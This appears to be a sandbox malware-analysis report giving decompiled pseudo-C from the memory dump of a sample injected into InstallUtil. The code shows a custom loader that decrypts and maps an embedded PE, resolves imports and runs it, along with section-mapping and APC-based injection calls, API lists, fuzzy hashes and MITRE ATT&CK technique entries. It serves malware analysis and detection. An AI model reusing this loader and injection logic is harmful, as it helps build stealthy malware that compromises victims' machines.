										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x004012e1
0x004012e5
0x004013a6
0x004012eb
0x00401303
0x00401312
0x00401319
0x0040131b
0x00401320
0x0040139e
0x0040139f
0x00401322
0x0040132f
0x00401331
0x00401336
0x00000000
0x00401338
0x00401345
0x00401347
0x0040134c
0x00000000
0x0040134e
0x0040135b
0x0040135d
0x00401362
0x00000000
0x00401364
0x00401371
0x00401373
0x00401378
0x00000000
0x0040137a
0x00401380
0x00401386
0x0040138b
0x00401390
0x00401395
0x00000000
0x00401397
0x0040139a
0x0040139a
0x00401395
0x00401378
0x00401362
0x0040134c
0x00401336
0x00401320
0x004013b4

APIs

Part of subcall function 00401935: HeapAlloc.KERNEL32(00000000,?,004015EF,00000030,?,00000000), ref: 00401941

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,004011FD,?,?,?,?,?,00000002,?,?), ref: 004012F7
GetProcAddress.KERNEL32(00000000,?), ref: 00401319
GetProcAddress.KERNEL32(00000000,?), ref: 0040132F
GetProcAddress.KERNEL32(00000000,?), ref: 00401345
GetProcAddress.KERNEL32(00000000,?), ref: 0040135B
GetProcAddress.KERNEL32(00000000,?), ref: 00401371

Part of subcall function 0040188D: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,?), ref: 004018EA
Part of subcall function 0040188D: memset.NTDLL ref: 0040190C

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: c21fc4aabecbdcf30591a0a260aa5f3432069ce3644a4fc048a11e1732098a2f
Instruction ID: f8ae8be61ab46346d26a7ad89e32e3b3a3e367cc1aef349a0b262ee2f135fa9d
Opcode Fuzzy Hash: c21fc4aabecbdcf30591a0a260aa5f3432069ce3644a4fc048a11e1732098a2f
Instruction Fuzzy Hash: DD212EB160070BAFE720DF6ACD84D6BB7ECAF44304701447AE905EB661DB74EA058B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401E5B Relevance: 7.5, APIs: 5, Instructions: 19
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t1;
				int _t4;
				int _t6;

				_t6 = 0;
				_t1 = HeapCreate(0, 0x400000, 0); // executed
				 *0x403160 = _t1;
				if(_t1 != 0) {
					 *0x403170 = GetModuleHandleA(0);
					GetCommandLineW(); // executed
					_t4 = E004015C0(); // executed
					_t6 = _t4;
					HeapDestroy( *0x403160);
				}
				ExitProcess(_t6);
			}

0x00401e5c
0x00401e65
0x00401e6b
0x00401e72
0x00401e7b
0x00401e80
0x00401e86
0x00401e91
0x00401e93
0x00401e93
0x00401e9a

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 00401E65
GetModuleHandleA.KERNEL32(00000000), ref: 00401E75
GetCommandLineW.KERNEL32 ref: 00401E80

Part of subcall function 004015C0: NtQuerySystemInformation.NTDLL ref: 004015FF
Part of subcall function 004015C0: Sleep.KERNELBASE(00000000,00000000,00000030,?,00000000), ref: 00401646
Part of subcall function 004015C0: GetLongPathNameW.KERNELBASE(00000030,00000000,00000000), ref: 00401675
Part of subcall function 004015C0: GetLongPathNameW.KERNELBASE(00000030,00000000,00000000), ref: 00401693
Part of subcall function 004015C0: CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 004016BD
Part of subcall function 004015C0: QueueUserAPC.KERNELBASE(00401A98,00000000,?,?,00000000), ref: 004016D9

HeapDestroy.KERNEL32 ref: 00401E93
ExitProcess.KERNEL32 ref: 00401E9A

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: CreateHeapLongNamePath$CommandDestroyExitHandleInformationLineModuleProcessQueryQueueSleepSystemThreadUser
String ID:
API String ID: 2501132232-0
Opcode ID: 75926a7ddd811df371df3967095e9d1634eab89bb0f04e0da6c08ca6a120660f
Instruction ID: 7191445354a9c832acbed0dcd64c7ca0a75d63d9fabec9bf690f389c57a33226
Opcode Fuzzy Hash: 75926a7ddd811df371df3967095e9d1634eab89bb0f04e0da6c08ca6a120660f
Instruction Fuzzy Hash: 70E02675402724ABC7212F71AF0DA5F3E7CBF097967140535F606B62B0DB784A41CAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401C24 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 95
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00401C24(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				unsigned int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _t46;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t58;
				signed int _t67;
				intOrPtr _t69;
				intOrPtr _t85;
				intOrPtr _t86;

				_t85 =  *0x403170;
				_t46 = E00401000(_t85,  &_v24,  &_v16);
				_v20 = _t46;
				if(_t46 == 0) {
					asm("sbb ebx, ebx");
					_t67 =  ~( ~(_v16 & 0x00000fff)) + (_v16 >> 0xc);
					_t86 = _t85 + _v24;
					_v40 = _t86;
					_t53 = VirtualAlloc(0, _t67 << 0xc, 0x3000, 4); // executed
					_v28 = _t53;
					if(_t53 == 0) {
						_v20 = 8;
					} else {
						_v8 = _v8 & 0x00000000;
						if(_t67 <= 0) {
							_t54 =  *0x403180;
						} else {
							_t69 = _a4;
							_t58 = _t53 - _t86;
							_t13 = _t69 + 0x4041a7; // 0x4041a7
							_v32 = _t58;
							_v36 = _t58 + _t13;
							_v12 = _t86;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								E00401A60(_v12 + _t58, _v12, _v52 - _v8 + _v48 + _v24 + _a4 - 1, 0x400);
								_v12 = _v12 + 0x1000;
								_t54 =  *((intOrPtr*)(_v36 + 0xc)) -  *((intOrPtr*)(_v36 + 8)) +  *((intOrPtr*)(_v36 + 4));
								_v8 = _v8 + 1;
								 *0x403180 = _t54;
								if(_v8 >= _t67) {
									break;
								}
								_t58 = _v32;
							}
						}
						if(_t54 != 0x69b25f44) {
							_v20 = 9;
						} else {
							E00401FAC(_v16, _v28, _v40);
						}
						VirtualFree(_v28, 0, 0x8000); // executed
					}
				}
				return _v20;
			}

0x00401c2b
0x00401c3b
0x00401c40
0x00401c45
0x00401c5a
0x00401c61
0x00401c66
0x00401c77
0x00401c7a
0x00401c80
0x00401c85
0x00401d35
0x00401c8b
0x00401c8b
0x00401c91
0x00401d00
0x00401c93
0x00401c93
0x00401c96
0x00401c98
0x00401ca0
0x00401ca3
0x00401ca6
0x00401cae
0x00401cb9
0x00401cba
0x00401cbb
0x00401cd8
0x00401ce6
0x00401ced
0x00401cf0
0x00401cf3
0x00401cfb
0x00000000
0x00000000
0x00401cab
0x00401cab
0x00401cfd
0x00401d0a
0x00401d1c
0x00401d0c
0x00401d15
0x00401d15
0x00401d2d
0x00401d2d
0x00401d3c
0x00401d42

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,00000000,00000000,?,00000000,?,?,?,?,?,?,0040163F,00000000), ref: 00401C7A
VirtualFree.KERNELBASE(0040163F,00000000,00008000,?,?,?,?,?,?,0040163F,00000000), ref: 00401D2D

Strings

Apr 26 2022, xrefs: 00401CB1

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: Apr 26 2022
API String ID: 2087232378-3671839962
Opcode ID: 972696eea84d78f1abef1bce6428b3f82cfd358d2d0ec47ebaaeddd182fdb425
Instruction ID: 287af2a0c01fcaa00a14418a69f75b7b10e4618bcd9a192694d8757be1fecab0
Opcode Fuzzy Hash: 972696eea84d78f1abef1bce6428b3f82cfd358d2d0ec47ebaaeddd182fdb425
Instruction Fuzzy Hash: 00313275D00219AFDB01CF94D984BEEB7B8FF08304F10416AE911BB291D779AA06CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040105A Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040105A(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x403180;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x69b25f40,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x69b25f40;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x7c211d88 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x69b25f42;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x69b25f24;
					} else {
						_t54 = _t57 - 0x69b25f04;
					}
					goto L9;
				}
				goto L12;
			}

0x00401064
0x00401071
0x00401077
0x00401083
0x00401093
0x00401095
0x0040109d
0x00401132
0x00401139
0x00000000
0x00000000
0x00000000
0x004010a3
0x004010a3
0x004010a3
0x004010a7
0x00000000
0x00000000
0x004010b3
0x004010b7
0x004010db
0x004010df
0x004010f3
0x004010f3
0x004010f9
0x00401108
0x0040110c
0x00401114
0x00401114
0x0040111c
0x0040111f
0x0040112c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040112c
0x004010e7
0x004010eb
0x004010f1
0x00000000
0x00000000
0x00000000
0x004010f1
0x004010bf
0x004010c3
0x004010cd
0x004010c5
0x004010c5
0x004010c5
0x00000000
0x004010c3
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 00401093
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 00401108
GetLastError.KERNEL32 ref: 0040110E

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: ea78442fbb6f8df02cfb9288583b02d0742626e1adf08fd53ab95bf3c78785da
Instruction ID: fe3dbcecb8e3adfab23722be9ea9b663c21ebef7aa247796aadf6149567b5b35
Opcode Fuzzy Hash: ea78442fbb6f8df02cfb9288583b02d0742626e1adf08fd53ab95bf3c78785da
Instruction Fuzzy Hash: AD216271800209DFCB18DF85C985ABAF7F4FF48345F01446AD242E7559E3B8AA69CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401EA1 Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401EA1(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x403180;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x4d92f9a0));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x69b25f44;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x69b25ec5;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x69b25f44;
										}
										 *_v16 = _t55;
										_t58 = 0x593682f4 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x964da13a;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x00401ea1
0x00401eaa
0x00401eaf
0x00401eb5
0x00401ebe
0x00401ec4
0x00401ec6
0x00401ec9
0x00401ece
0x00401ed5
0x00401ed5
0x00401ed9
0x00401edf
0x00401ee4
0x00000000
0x00000000
0x00401eea
0x00401ef4
0x00401ef6
0x00401ef9
0x00401efc
0x00401f00
0x00401f08
0x00401f0a
0x00401f0d
0x00401f75
0x00401f75
0x00401f79
0x00000000
0x00000000
0x00401f12
0x00401f18
0x00401f1a
0x00401f2d
0x00401f30
0x00401f30
0x00401f30
0x00401f34
0x00401f1c
0x00401f1c
0x00401f24
0x00401f26
0x00000000
0x00000000
0x00000000
0x00000000
0x00401f26
0x00401f14
0x00401f14
0x00401f28
0x00401f28
0x00401f28
0x00401f37
0x00401f3a
0x00401f3c
0x00401f43
0x00401f3e
0x00401f3e
0x00401f3e
0x00401f4b
0x00401f51
0x00401f53
0x00401f83
0x00401f55
0x00401f55
0x00401f58
0x00401f5a
0x00401f62
0x00401f62
0x00401f67
0x00401f69
0x00401f70
0x00401f72
0x00401f72
0x00401f72
0x00000000
0x00401f72
0x00000000
0x00401f53
0x00401f02
0x00401f02
0x00401f06
0x00000000
0x00000000
0x00401f06
0x00401f86
0x00401f86
0x00401f8d
0x00401f92
0x00000000
0x00000000
0x00401f98
0x00401fa3
0x00000000
0x00401fa3
0x00401f9a
0x00401f9a
0x00401fa0
0x00000000
0x00401fa0
0x00401ece
0x00401fa4
0x00401fa9

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 00401ED9
GetProcAddress.KERNEL32(?,00000000), ref: 00401F4B

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: b08856e33ae3e4837c86fa3f6296e1e38edeba7740de660ba33458cc8f5fd904
Instruction ID: 951c655037779ae1b66cd19760bdbfc8ab9dfec7e1627345683cfc52122a3d54
Opcode Fuzzy Hash: b08856e33ae3e4837c86fa3f6296e1e38edeba7740de660ba33458cc8f5fd904
Instruction Fuzzy Hash: B43117B1A002069FDB14CF59C884AAEB7F4BF44355B24417AE901FB3A0E778DA41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401A98 Relevance: 3.1, APIs: 2, Instructions: 60
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401A98() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x403184;
				if( *0x40316c > 5) {
					_t16 = _t15 + 0x4040f9;
				} else {
					_t16 = _t15 + 0x4040b1;
				}
				E00401E35(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E00401479( &_v32,  &_v16,  *0x403180 ^ 0xf7a71548) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x403178);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E00401B52(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x403178;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x403178 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E00401FAC(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E004011C1(_v28); // executed
				}
				ExitThread(_t25);
			}

0x00401a9e
0x00401aaf
0x00401ab9
0x00401ab1
0x00401ab1
0x00401ab1
0x00401ac0
0x00401ac9
0x00401ace
0x00401aec
0x00401b49
0x00401aee
0x00401af4
0x00401afa
0x00401b08
0x00401b0c
0x00401b13
0x00401b15
0x00401b1b
0x00401b1f
0x00401b27
0x00401b38
0x00401b29
0x00401b2f
0x00401b2f
0x00401b27
0x00401b40
0x00401b40
0x00401b4b

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 00401AF4
ExitThread.KERNEL32 ref: 00401B4B

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: 02c2250341f6d03a27af8a08f07ccbf7dfa604ab44a28f084247d4b31e8d20fe
Instruction ID: 14069ec6a0d4c6b1db03676319b93d70d9afb0d21d5a2f796d034618d778d09c
Opcode Fuzzy Hash: 02c2250341f6d03a27af8a08f07ccbf7dfa604ab44a28f084247d4b31e8d20fe
Instruction Fuzzy Hash: 6611BE71504201ABE711DFA5CD49E5777ECAB48304F04453BB641F72B1EB38EA058B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401E35 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00401E35(void* __eax, intOrPtr _a4) {

				 *0x403190 =  *0x403190 & 0x00000000;
				_push(0);
				_push(0x40318c);
				_push(1);
				_push(_a4);
				 *0x403188 = 0xc; // executed
				L004013FA(); // executed
				return __eax;
			}

0x00401e35
0x00401e3c
0x00401e3e
0x00401e43
0x00401e45
0x00401e49
0x00401e53
0x00401e58

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(00401AC5,00000001,0040318C,00000000), ref: 00401E53

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: b5b617994087af0d0ea66c4f0b84e660e0c61463ba07f072955e03b395522a9a
Instruction ID: c63cd9b430faf93bbeedc2284bbc4f3b30bcb02564c30e5c94284cdbba91c459
Opcode Fuzzy Hash: b5b617994087af0d0ea66c4f0b84e660e0c61463ba07f072955e03b395522a9a
Instruction Fuzzy Hash: E1C04C74140300B6F6109F409D4AF057E55B75870AF60052EBA04391E1C3F95155952D

Uniqueness

Uniqueness Score: -1.00%

Function 004011C1 Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004011C1(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x403180;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x403180 - 0x69b24f45 &  !( *0x403180 - 0x69b24f45);
				_t18 = E004012D3( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x403180 - 0x69b24f45 &  !( *0x403180 - 0x69b24f45),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x403180 - 0x69b24f45 &  !( *0x403180 - 0x69b24f45), _t16 + 0x964da0fc,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E0040113C(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E00401EA1(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E0040105A(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E00401265(_t42);
					L8:
					return _t29;
				}
			}

0x004011c9
0x004011cb
0x004011e7
0x004011f8
0x004011ff
0x0040125d
0x00000000
0x00401201
0x00401201
0x0040120b
0x0040120f
0x00401214
0x00401217
0x0040121c
0x00401220
0x00401225
0x0040122a
0x0040122e
0x00401233
0x00401234
0x00401238
0x0040123d
0x00401245
0x00401245
0x0040123d
0x0040122e
0x00401220
0x00401247
0x00401250
0x00401254
0x0040125e
0x00401264
0x00401264

APIs

Part of subcall function 004012D3: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,004011FD,?,?,?,?,?,00000002,?,?), ref: 004012F7
Part of subcall function 004012D3: GetProcAddress.KERNEL32(00000000,?), ref: 00401319
Part of subcall function 004012D3: GetProcAddress.KERNEL32(00000000,?), ref: 0040132F
Part of subcall function 004012D3: GetProcAddress.KERNEL32(00000000,?), ref: 00401345
Part of subcall function 004012D3: GetProcAddress.KERNEL32(00000000,?), ref: 0040135B
Part of subcall function 004012D3: GetProcAddress.KERNEL32(00000000,?), ref: 00401371

Part of subcall function 00401EA1: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 00401ED9

Part of subcall function 0040105A: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 00401093
Part of subcall function 0040105A: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 00401108
Part of subcall function 0040105A: GetLastError.KERNEL32 ref: 0040110E

GetLastError.KERNEL32(?,?), ref: 0040123F

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
String ID:
API String ID: 3135819546-0
Opcode ID: a638a532b57f06340b17208a2ea5240cace7122cc206e8ca70d164770d418078
Instruction ID: 2b549204dcde533aa1ddfd6f33501cb63817433826d10048fe320036ebb960fa
Opcode Fuzzy Hash: a638a532b57f06340b17208a2ea5240cace7122cc206e8ca70d164770d418078
Instruction Fuzzy Hash: 9711CB36600705ABD721AB95CC80DAB77BCAF89318704017EEA02F7691DB75ED068794

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401400 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401400() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x403170;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x40317c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x40316c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x403168 = _t5;
						 *0x403170 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x403164 = _t6;
						if(_t6 == 0) {
							 *0x403164 =  *0x403164 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x00401401
0x0040140f
0x00401415
0x0040141c
0x00401473
0x00401473
0x0040141e
0x00401426
0x00401433
0x00401433
0x0040146f
0x00401471
0x00000000
0x00000000
0x00000000
0x00401428
0x0040142f
0x00401435
0x00401435
0x0040143a
0x00401448
0x0040144d
0x00401453
0x00401459
0x00401460
0x00401462
0x00401462
0x0040146c
0x00401431
0x00401431
0x00000000
0x00401431
0x0040142f

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,004015CC), ref: 0040140F
GetVersion.KERNEL32 ref: 0040141E
GetCurrentProcessId.KERNEL32 ref: 0040143A
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00401453

Memory Dump Source

Source File: 0000000A.00000002.534484609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: 7a3fd3bc2feab416e398d136e547c0e7dcbd23d15830545ffe2416a0c629e091
Instruction ID: dd5f4ea68d3ad7174de981b0e01852059bc69c4482632bbefd262180a3999ea5
Opcode Fuzzy Hash: 7a3fd3bc2feab416e398d136e547c0e7dcbd23d15830545ffe2416a0c629e091
Instruction Fuzzy Hash: 41F03C306803119BE7205F78BF19B563F68A709712F440036E651FA2F0D7B48A42CB4C

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

